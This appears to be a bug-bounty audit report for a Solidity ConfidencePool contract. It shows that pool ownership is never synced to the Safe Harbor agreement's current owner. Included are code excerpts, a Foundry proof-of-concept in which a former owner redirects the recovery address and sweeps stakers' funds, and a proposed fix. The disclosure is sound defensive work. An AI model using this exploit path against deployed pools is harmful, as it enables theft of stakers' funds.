FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Pool owner is never synced to the agreement's current owner, letting a departed owner steal the pool

Author Revealed upon completion

Root + Impact

Description

  • When a sponsor creates a pool through ConfidencePoolFactory.createPool, the factory checks that the caller currently owns the underlying Safe Harbor agreement, then makes that same address the pool's owner for its entire lifetime. As pool owner, that address controls recoveryAddress (the destination for a bad-faith CORRUPTED sweep), expiry until the first stake, pool scope until it locks, and pause/unpause.

    The problem is that ownership check only runs once, at creation time. The agreement contract is Ownable2Step and its own documentation says it is meant to support handing management to a different address than the original deployer, for example a protocol sale or a DAO moving control to a new team. Once that transfer happens on the agreement side, the pool has no way to find out. The original owner keeps full, permanent control of the pool even after they have no relationship left to the protocol it backs

// Root cause in the codebase with @> marks to highlight the relevant section
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
@> if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt);
IConfidencePool(pool)
.initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
@> msg.sender,
accounts
);
Inside ConfidencePool.initialize, that address gets locked in as the permanent owner with no link back to the agreement:
recoveryAddress = recoveryAddress_;
outcome = PoolStates.Outcome.UNRESOLVED;
_replaceScope(accounts);
// Direct assignment (skipping Ownable2Step's two-step) so no owner()==initializer-caller
// window exists between init and the new owner accepting. Two-step still applies to later transfers.
@> _transferOwnership(owner_);
And setRecoveryAddress never checks against the agreement, only against the pool's own cached owner:
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
@> recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Risk

Likelihood:

  • This triggers whenever an agreement's ownership changes after a pool already exists for it. Agreement.sol is Ownable2Step specifically so management can be handed to a different address than the deployer, so this is a normal business event for the dependency, not a rare edge case.

  • The old owner does not need to time anything or watch the pool. They can call setRecoveryAddress once, right after losing agreement ownership, then walk away completely. The theft fires later, automatically, whenever the pool happens to resolve bad-faith CORRUPTED.

Impact:

  • The full pool balance, every staker's principal plus the entire bonus pot, gets swept to an address controlled by someone who no longer has any relationship to the protocol.

  • The agreement's new, current owner has zero on-chain recourse. There is no function anywhere in the factory or the pool that lets them reclaim pool ownership or override the stale owner's changes.

  • The same stale ownership carries over to the rest of the owner-only surface. The old owner can still pause the pool to block new stakers, for free, with nothing to gain except sabotage.

Proof of Concept

function testStaleAgreementOwnerHijacksRecoveryAfterLegitimateOwnershipTransfer() external {
uint256 expiry = block.timestamp + 31 days;
// Alice is the agreement's owner right now, factory.createPool checks this once, here.
vm.prank(alice);
address pool = factory.createPool(address(agreementContract), address(token), expiry, ONE, recovery, _scope());
assertEq(ConfidencePool(pool).owner(), alice);
// Alice legitimately sells or hands off the protocol to Bob, a normal business event.
agreementContract.setAgreementOwner(bob);
assertEq(agreementContract.owner(), bob);
// The pool never re-syncs. Alice is still the pool owner even though Bob now runs the protocol.
assertEq(ConfidencePool(pool).owner(), alice);
// A real staker deposits, trusting Bob's now current stewardship of the protocol.
token.mint(victim, 100 * ONE);
vm.startPrank(victim);
token.approve(pool, 100 * ONE);
ConfidencePool(pool).stake(100 * ONE);
vm.stopPrank();
// A genuine breach happens, no cooperation from Alice needed for this part.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
ConfidencePool(pool).pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
ConfidencePool(pool).flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// Alice, with zero current relationship to the protocol, still holds the owner only lever.
vm.prank(alice);
ConfidencePool(pool).setRecoveryAddress(aliceWallet);
// Anyone can trigger the sweep, it just follows whatever recoveryAddress currently is.
ConfidencePool(pool).claimCorrupted();
assertEq(token.balanceOf(aliceWallet), 100 * ONE);
assertEq(token.balanceOf(pool), 0);
assertEq(token.balanceOf(recovery), 0);
}
//Additional variants were also confirmed working: the same theft happens even in a fully healthy SURVIVED outcome through sweepUnclaimedBonus, since it also pays recoveryAddress, and the stale owner can pre-position setRecoveryAddress immediately after losing agreement ownership with no need to time anything, weeks or months before the pool ever resolves.

Recommended Mitigation

New error, added alongside the existing ones in IConfidencePool.sol:
error InvalidRecoveryAddress();
+ error NotAgreementOwner();
error PoolNotExpired();
New function, added right after setRecoveryAddress in ConfidencePool.sol:
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}
+
+ /// @notice Lets the agreement's current, live owner reclaim pool ownership if it has
+ /// drifted from a stale creation time snapshot.
+ function syncOwnerToAgreement() external {
+ address currentAgreementOwner = IAgreement(agreement).owner();
+ if (msg.sender != currentAgreementOwner) revert NotAgreementOwner();
+ _transferOwnership(currentAgreementOwner);
+ }
IAgreement needs importing into ConfidencePool.sol for this, it is currently only imported in the factory.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!